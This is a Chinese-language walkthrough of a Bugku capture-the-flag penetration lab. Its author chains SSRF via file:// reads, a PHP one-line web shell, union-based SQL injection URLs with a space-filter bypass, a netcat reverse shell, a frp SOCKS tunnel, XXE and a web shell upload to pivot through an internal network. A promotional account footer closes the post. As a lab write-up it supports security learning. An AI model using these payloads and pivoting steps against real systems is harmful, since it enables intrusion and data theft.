记录一次坎坷的打靶经历·三(Bugku的PAR模式)
2023-4-13 23:28:21 Author: 白帽子程序员(查看原文) 阅读量:22 收藏

0x01 flag1 (ssrf)0x02 flag2、flag3(shell.php)flag4(sql注入)flag7、flag8(xxe)flag5、flag6(内网)

Bugku的PAR模式,渗透测试3,共8个flag,这次打靶挺轻松,感觉比较简单,一次过,嘿嘿。在此,分享出来笔者的过程,并呈现自己的思考,同时也希望能获得大佬的指点。

0x01 flag1 (ssrf)


开启靶场,依旧是给了个ip:80,不过题目给了个打进内网的提示,
先上nmap扫一下

从80端口开始吧,访问80端口

一个站点快照获取的功能,其实打过ctf的都知道这应该会有ssrf漏洞,
那么在已知这是一个php站点,且有着ssrf漏洞的情况下,我们应该如何利用呢?

http://:探测内网主机存活、端口开放情况
gopher://:发送GET或POST请求;攻击内网应用,如FastCGI、Redis
dict://:泄露安装软件版本信息,查看端口,操作内网redis访问等
file://:读取本地文件

先利用file协议看一下当前源代码,填入file:///var/www/html/index.php,右键点击查看页面源代码,发现源码

能看到源码就证明了我们之前的猜想是正确的,那么现在我们就已经可以直接读取当前机子里边的flag了,让我猜猜看,flag在根目录下

0x02 flag2、flag3(shell.php)

题目给了个提示

但是暂时不太明白有什么用,继续利用file协议查看一下当前机子的网络信息

提示有一个192.168.0.2/24网段,填入http://192.168.0.1,然后抓包爆破最后一位数,通过返回包长度来探测局域网内有哪些机子开了80端口

根据返回长度,可以直接判断出来这个网段里有四台不同的机子,回到web界面,看看http://192.168.0.10的快照

嘿,这是挂了个黑页是吧,页面源代码也没有什么东西

用burp抓到获取快照的请求包,然后发送到Intruder爆破一下目录看看,

根据返回包长度发现那个站点有shell.php文件,根据返回包可以知道该文件大致内容为

<?php system($_GET['cmd']);?>

直接cmd传参执行命令,看看当前目录,和根目录下


拿下两个flag

flag4(sql注入)

还记得之前爆破探测出来的url里还有两台机子,按顺序来,先看看192.168.0.138

估摸着是sql注入,查看源代码知道这是get传参id

输入一个1' or 1=1#进去发现有问题

经过一段时间的fuzz后,发现这个过滤了空格,选用+代替空格从而绕过,先看一下回显点

http://192.168.0.138/?id=-1+and+1=2+union+select+1,2,3,4


查数据库名

http://192.168.0.138/?id=-1+and+1=2+union+select+1,database(),3,4


接下来查表名,因为只能显示一行的数据,所以我们需要用order by来获取更多的数据,order by 1查出的表名为double

http://192.168.0.138/?id=-1+and+1=2+union+select+1,database(),3,TABLE_NAME+from+information_schema.tables+where+TABLE_SCHEMA="bugku_sql"+order+by+1


order by 2 查出的表名为flag,那么flag应该就在这个表里了吧

继续查列名,比较幸运,order by 1就是flag

http://192.168.0.138/?id=-1+and+1=2+union+select+1,database(),3,COLUMN_NAME+from+information_schema.COLUMNS+where+TABLE_SCHEMA="bugku_sql"+and+TABLE_NAME="double"+order+by+1


直接出flag

http://192.168.0.138/?id=-1+and+1=2+union+select+1,database(),3,flag+from+bugku_sql.flag

flag7、flag8(xxe)

最后一台机子是192.168.0.250,获取快照是一个登录界面,通过ssrf去做这个不是很方便,回顾之前有一台被黑了的可以执行任意命令的机子,先看看命令ls /usr/bin

有wget命令,先从公网vps上下载frpc,想挂一个代理开个socks5隧道,方便后续的操作,结果发现这样,添加不了执行权限


看来得先试试反弹shell,在用户命令中看到了nc
使用nc进行shell反弹

接收到shell后,再给frpc加上执行权限,这次成功了

顺利搭建隧道,访问192.168.0.250

尝试一波弱口令admin/admin,登录成功,但是并没有进行跳转,依旧留在了当前页面

嗯,有点迷,抓包看看返回包

嘿,你说这个像不像xxe,盲猜flag在当前目录和根目录下,直接读,成功拿下

flag5、flag6(内网)

提交完上面的flag后发现这是flag7、和flag8呀,好家伙我的flag5和flag6呢?

回顾之前的四台机子,只有192.168.0.10这台咱们能拿下shell,要不看看内网?

果然还有一层网段为10.10.0.5/24
上fscan扫一下,但是扫不出任何信息

这就有点离谱了,为啥呢,我不理解呜呜呜
之后换了种方式,使用proxychains4转到kali用nmap扫一下

这下扫出来一台10.10.0.22:80,不过为什么fscan会扫不出来呢,还是不明白
之前已经挂上frp代理开了socks5隧道了,所以浏览器直接访问10.10.0.22:80

使用kali自带工具dirb扫一波目录,扫出来admin.php,需要登录,依旧是弱口令admin/admin

登录后跳转到了首页,细心的我们可以发现这是我们已经有了编辑权限

点击管理

里边有一个文件夹管理,点进去看看
可以上传文件


当前是media目录看看files目录,

就俩文件,看看.htaccess文件,发现只解析php后缀的文件

直接上一句话木马加蚁剑,在根目录和网站根目录下拿到最后两个flag

到这里就结束了,最后回顾一下整个过程,其实这次的靶场还是比较简单的,不过还是可以从中学到很多东西,收获颇丰。希望师傅们不喜勿喷,感谢。

本文作者:QRLing, 转载请注明来自FreeBuf.COM

End

关注公众号【白帽子程序员】

回复“电子书”获取网络安全电子书资料

回复视频教程获取400网络渗透教学、编程视频教程

回复CTF视频教程获取400网络渗透教学、编程视频教程

回复python视频教程获取python学习教程

回复hw获取护网资料

回复内网靶场获取内网靶场

回复渗透镜像

学习资料截图

往期推荐

我为什么开通公众号?IT人到中年最怕的就是你只有一门技术

个人总结网络安全学习路线(文末电子书、教学视频400G获取)

黑客是怎么入侵一个网站的?(微信交流群、资料共享)

FOFA可以访问了!我的自留地-【白帽子程序员】公众号开通


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg3Mjc0MDQ2Nw==&mid=2247492069&idx=1&sn=9826c0bd2a7c4c9184b9883577ec99bc&chksm=cee802f9f99f8bef4ef361a598ebc7c3dec0e7a2a6edfae3220685e34bcff87dc4b25289661e#rd
如有侵权请联系:admin#unsafe.sh